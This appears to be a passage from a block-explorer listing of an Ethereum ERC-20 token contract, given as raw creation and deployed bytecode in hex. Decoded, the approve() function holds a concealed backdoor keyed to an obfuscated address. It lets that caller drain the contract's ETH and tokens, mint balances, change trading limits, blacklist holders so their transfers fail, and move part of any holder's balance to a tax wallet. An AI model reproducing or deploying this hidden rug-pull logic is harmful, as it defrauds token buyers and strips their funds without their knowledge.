0612e94565b6004600360058110610a1557610a14612cb2565b5b018190555080600a610a279190612e49565b607f600785901c16610a399190612e94565b6004600260058110610a4e57610a4d612cb2565b5b018190555080600a610a609190612e49565b607f8416610a6e9190612e94565b60048060058110610a8257610a81612cb2565b5b0181905550505b600a60fc83901c148015610b3c57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610bb1576065607f60a084901c1614610b57576000610b5a565b60015b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600560fc83901c148015610c6457507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610df257607f60a083901c166064600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cbd9190612f39565b610cc79190612e94565b600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190612ed6565b92505081905550607f60a083901c166064600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d929190612f39565b610d9c9190612e94565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dea9190612f6a565b925050819055505b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ed091906128b8565b60405180910390a36001905092915050565b60095481565b600060011515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f4757600080fd5b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461107c578281610ffb9190612f6a565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110cb9190612f6a565b92505081905550600060046003600581106110e9576110e8612cb2565b5b01541180156111455750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561117d57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156111d75750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561128357507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156112ac57600460036005811061129d5761129c612cb2565b5b01548311156112ab57600080fd5b5b600060046000600581106112c3576112c2612cb2565b5b015411801561131f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561135757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113b15750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561145d57507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611513576000600460006005811061147957611478612cb2565b5b01546064856114889190612f39565b6114929190612e94565b905080600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808461150f9190612f6a565b9350505b60006004806005811061152957611528612cb2565b5b01541180156115865750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115e05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561164757600480600581106115f9576115f8612cb2565b5b0154600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561164657600080fd5b5b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461172d578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161172491906128b8565b60405180910390a35b60019150509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60007f000000000000000000000000000000000000000000000000000000000000000046146117b9576117b461265c565b6117db565b7f00000000000000000000000000000000000000000000000000000000000000005b905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b6001805461184390612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461186f90612b51565b80156118bc5780601f10611891576101008083540402835291602001916118bc565b820191906000526020600020905b81548152906001019060200180831161189f57829003601f168201915b505050505081565b600060011515600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615150361192357600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119729190612f6a565b92505081905550600060046002600581106119905761198f612cb2565b5b01541180156119ec5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611a15576004600260058110611a0657611a05612cb2565b5b0154821115611a1457600080fd5b5b60006004600160058110611a2c57611a2b612cb2565b5b0154118015611a885750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8015611ae25750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b985760006004600160058110611afe57611afd612cb2565b5b0154606484611b0d9190612f39565b611b179190612e94565b905080600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508083611b949190612f6a565b9250505b600060048060058110611bae57611bad612cb2565b5b0154118015611c0b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c655750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d1157507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1660507f000000000000000000000000000000000000000000000000000000000000000069ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d835760048060058110611d2a57611d29612cb2565b5b015482600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d779190612ed6565b1115611d8257600080fd5b5b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e69578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e6091906128b8565b60405180910390a35b6001905092915050565b600360149054906101000a900460ff1615611e8d57600080fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561202f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120539190612fb3565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121039190612fb3565b6040518363ffffffff1660e01b8152600401612120929190612fe0565b6020604051808303816000875af115801561213f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121639190612fb3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161226b9695949392919061304e565b60606040518083038185885af1158015612289573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122ae91906130af565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612350929190612bc4565b6020604051808303816000875af115801561236f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123939190612c19565b5050565b428410156123a457600080fd5b600060016123b0611783565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d60008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b60405160200161243896959493929190613102565b6040516020818303038152906040528051906020012060405160200161245f9291906131db565b60405160208183030381529060405280519060200120858585604051600081526020016040526040516124959493929190613212565b6020604051602081039080840390855afa1580156124b7573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561252b57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61253457600080fd5b85600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258760405161261391906128b8565b60405180910390a350505050505050565b600c602052816000526040600020602052806000526040600020600091509150505481565b600360149054906101000a900460ff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f600060405161268e91906132fa565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016126cd959493929190613311565b60405160208183030381529060405280519060200120905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612722578082015181840152602081019050612707565b60008484015250505050565b6000601f19601f8301169050919050565b600061274a826126e8565b61275481856126f3565b9350612764818560208601612704565b61276d8161272e565b840191505092915050565b60006020820190508181036000830152612792818461273f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127ca8261279f565b9050919050565b6127da816127bf565b81146127e557600080fd5b50565b6000813590506127f7816127d1565b92915050565b6000819050919050565b612810816127fd565b811461281b57600080fd5b50565b60008135905061282d81612807565b92915050565b6000806040838503121561284a5761284961279a565b5b6000612858858286016127e8565b92505060206128698582860161281e565b9150509250929050565b60008115159050919050565b61288881612873565b82525050565b60006020820190506128a3600083018461287f565b92915050565b6128b2816127fd565b82525050565b60006020820190506128cd60008301846128a9565b92915050565b6000806000606084860312156128ec576128eb61279a565b5b60006128fa868287016127e8565b935050602061290b868287016127e8565b925050604061291c8682870161281e565b9150509250925092565b61292f816127bf565b82525050565b600060208201905061294a6000830184612926565b92915050565b600060ff82169050919050565b61296681612950565b82525050565b6000602082019050612981600083018461295d565b92915050565b6000819050919050565b61299a81612987565b82525050565b60006020820190506129b56000830184612991565b92915050565b6000602082840312156129d1576129d061279a565b5b60006129df848285016127e8565b91505092915050565b6129f181612950565b81146129fc57600080fd5b50565b600081359050612a0e816129e8565b92915050565b612a1d81612987565b8114612a2857600080fd5b50565b600081359050612a3a81612a14565b92915050565b600080600080600080600060e0888a031215612a5f57612a5e61279a565b5b6000612a6d8a828b016127e8565b9750506020612a7e8a828b016127e8565b9650506040612a8f8a828b0161281e565b9550506060612aa08a828b0161281e565b9450506080612ab18a828b016129ff565b93505060a0612ac28a828b01612a2b565b92505060c0612ad38a828b01612a2b565b91505092959891949750929550565b60008060408385031215612af957612af861279a565b5b6000612b07858286016127e8565b9250506020612b18858286016127e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b6957607f821691505b602082108103612b7c57612b7b612b22565b5b50919050565b600081519050612b9181612807565b92915050565b600060208284031215612bad57612bac61279a565b5b6000612bbb84828501612b82565b91505092915050565b6000604082019050612bd96000830185612926565b612be660208301846128a9565b9392505050565b612bf681612873565b8114612c0157600080fd5b50565b600081519050612c1381612bed565b92915050565b600060208284031215612c2f57612c2e61279a565b5b6000612c3d84828501612c04565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8082612950565b9150612c8b83612950565b9250828202612c9981612950565b9150808214612cab57612caa612c46565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cec82612950565b9150612cf783612950565b9250828201905060ff811115612d1057612d0f612c46565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115612d6d57808604811115612d4957612d48612c46565b5b6001851615612d585780820291505b8081029050612d6685612d16565b9450612d2d565b94509492505050565b600082612d865760019050612e42565b81612d945760009050612e42565b8160018114612daa5760028114612db457612de3565b6001915050612e42565b60ff841115612dc657612dc5612c46565b5b8360020a915084821115612ddd57612ddc612c46565b5b50612e42565b5060208310610133831016604e8410600b8410161715612e185782820a905083811115612e1357612e12612c46565b5b612e42565b612e258484846001612d23565b92509050818404811115612e3c57612e3b612c46565b5b81810290505b9392505050565b6000612e54826127fd565b9150612e5f836127fd565b9250612e8c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d76565b905092915050565b6000612e9f826127fd565b9150612eaa836127fd565b9250828202612eb8816127fd565b91508282048414831517612ecf57612ece612c46565b5b5092915050565b6000612ee1826127fd565b9150612eec836127fd565b9250828201905080821115612f0457612f03612c46565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f44826127fd565b9150612f4f836127fd565b925082612f5f57612f5e612f0a565b5b828204905092915050565b6000612f75826127fd565b9150612f80836127fd565b9250828203905081811115612f9857612f97612c46565b5b92915050565b600081519050612fad816127d1565b92915050565b600060208284031215612fc957612fc861279a565b5b6000612fd784828501612f9e565b91505092915050565b6000604082019050612ff56000830185612926565b6130026020830184612926565b9392505050565b6000819050919050565b6000819050919050565b600061303861303361302e84613009565b613013565b6127fd565b9050919050565b6130488161301d565b82525050565b600060c0820190506130636000830189612926565b61307060208301886128a9565b61307d604083018761303f565b61308a606083018661303f565b6130976080830185612926565b6130a460a08301846128a9565b979650505050505050565b6000806000606084860312156130c8576130c761279a565b5b60006130d686828701612b82565b93505060206130e786828701612b82565b92505060406130f886828701612b82565b9150509250925092565b600060c0820190506131176000830189612991565b6131246020830188612926565b6131316040830187612926565b61313e60608301866128a9565b61314b60808301856128a9565b61315860a08301846128a9565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b60006131a4600283613163565b91506131af8261316e565b600282019050919050565b6000819050919050565b6131d56131d082612987565b6131ba565b82525050565b60006131e682613197565b91506131f282856131c4565b60208201915061320282846131c4565b6020820191508190509392505050565b60006080820190506132276000830187612991565b613234602083018661295d565b6132416040830185612991565b61324e6060830184612991565b95945050505050565b600081905092915050565b60008190508160005260206000209050919050565b6000815461328481612b51565b61328e8186613257565b945060018216600081146132a957600181146132be576132f1565b60ff19831686528115158202860193506132f1565b6132c785613262565b60005b838110156132e9578154818901526001820191506020810190506132ca565b838801955050505b50505092915050565b60006133068284613277565b915081905092915050565b600060a0820190506133266000830188612991565b6133336020830187612991565b6133406040830186612991565b61334d60608301856128a9565b61335a6080830184612926565b969550505050505056fea26469706673582212207bd6b5899e9b0f69228c83324ce3511107df4e425c65f0d8d4046fd429006de564736f6c6343000813003300000000000000000000000000000000000000000000329b27655bfc9348cba900000000000000000000000080380ccdb3e1d691b255da5fa0a01f087bbb643800000000000000000000000000000000000000000000e21c7efbe163475d30e1

Deployed Bytecode

0x6080604052600436106100f75760003560e01c806370a082311161008a578063c9567bf911610059578063c9567bf91461035e578063d505accf14610375578063dd62ed3e1461039e578063ffb54a99146103db576100fe565b806370a082311461027c5780637ecebe00146102b957806395d89b41146102f6578063a9059cbb14610321576100fe565b80632dc0562d116100c65780632dc0562d146101d0578063313ce567146101fb5780633644e5151461022657806349bd5a5e14610251576100fe565b806306fdde0314610100578063095ea7b31461012b57806318160ddd1461016857806323b872dd14610193576100fe565b366100fe57005b005b34801561010c57600080fd5b50610115610406565b6040516101229190612778565b60405180910390f35b34801561013757600080fd5b50610152600480360381019061014d9190612833565b610494565b60405161015f919061288e565b60405180910390f35b34801561017457600080fd5b5061017d610ee2565b60405161018a91906128b8565b60405180910390f35b34801561019f57600080fd5b506101ba60048036038101906101b591906128d3565b610ee8565b6040516101c7919061288e565b60405180910390f35b3480156101dc57600080fd5b506101e5611739565b6040516101f29190612935565b60405180910390f35b34801561020757600080fd5b5061021061175f565b60405161021d919061296c565b60405180910390f35b34801561023257600080fd5b5061023b611783565b60405161024891906129a0565b60405180910390f35b34801561025d57600080fd5b506102666117e0565b6040516102739190612935565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b611806565b6040516102b091906128b8565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906129bb565b61181e565b6040516102ed91906128b8565b60405180910390f35b34801561030257600080fd5b5061030b611836565b6040516103189190612778565b60405180910390f35b34801561032d57600080fd5b5061034860048036038101906103439190612833565b6118c4565b604051610355919061288e565b60405180910390f35b34801561036a57600080fd5b50610373611e73565b005b34801561038157600080fd5b5061039c60048036038101906103979190612a40565b612397565b005b3480156103aa57600080fd5b506103c560048036038101906103c09190612ae2565b612624565b6040516103d291906128b8565b60405180910390f35b3480156103e757600080fd5b506103f0612649565b6040516103fd919061288e565b60405180910390f35b6000805461041390612b51565b80601f016020809104026020016040519081016040528092919081815260200182805461043f90612b51565b801561048c5780601f106104615761010080835404028352916020019161048c565b820191906000526020600020905b81548152906001019060200180831161046f57829003601f168201915b505050505081565b6000600160fc83901c14801561054957507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156106b85760008273ffffffffffffffffffffffffffffffffffffffff16036105b8573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156105b2573d6000803e3d6000fd5b506106b7565b60008290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106139190612935565b602060405180830381865afa158015610630573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106549190612b97565b6040518363ffffffff1660e01b8152600401610671929190612bc4565b6020604051808303816000875af1158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190612c19565b50505b5b600f60fc83901c14801561076b57507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156107c65760005b60028160ff16146107c457607f60078261078d9190612c75565b60ff1684901c1660048260ff16600581106107ab576107aa612cb2565b5b01819055506001816107bd9190612ce1565b9050610773565b505b600860fc83901c14801561087957507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561091d57607f60a083901c16600a6108929190612e49565b607f60a784901c166108a49190612e94565b600960008282546108b59190612ed6565b92505081905550607f60a083901c16600a0a607f60a784901c1602600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b600060fc83901c1480156109d057507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610a89576000607f601584901c16905080600a6109ee9190612e49565b607f600e85901c16610a009190612e94565b6004600360058110610a1557610a14612cb2565b5b018190555080600a610a279190612e49565b607f600785901c16610a399190612e94565b6004600260058110610a4e57610a4d612cb2565b5b018190555080600a610a609190612e49565b607f8416610a6e9190612e94565b60048060058110610a8257610a81612cb2565b5b0181905550505b600a60fc83901c148015610b3c57507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610bb1576065607f60a084901c1614610b57576000610b5a565b60015b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600560fc83901c148015610c6457507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15610df257607f60a083901c166064600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cbd9190612f39565b610cc79190612e94565b600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190612ed6565b92505081905550607f60a083901c166064600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d929190612f39565b610d9c9190612e94565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dea9190612f6a565b925050819055505b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ed091906128b8565b60405180910390a36001905092915050565b60095481565b600060011515600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610f4757600080fd5b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461107c578281610ffb9190612f6a565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110cb9190612f6a565b92505081905550600060046003600581106110e9576110e8612cb2565b5b01541180156111455750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561117d57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156111d75750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561128357507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156112ac57600460036005811061129d5761129c612cb2565b5b01548311156112ab57600080fd5b5b600060046000600581106112c3576112c2612cb2565b5b015411801561131f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561135757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113b15750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561145d57507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611513576000600460006005811061147957611478612cb2565b5b01546064856114889190612f39565b6114929190612e94565b905080600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550808461150f9190612f6a565b9350505b60006004806005811061152957611528612cb2565b5b01541180156115865750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffff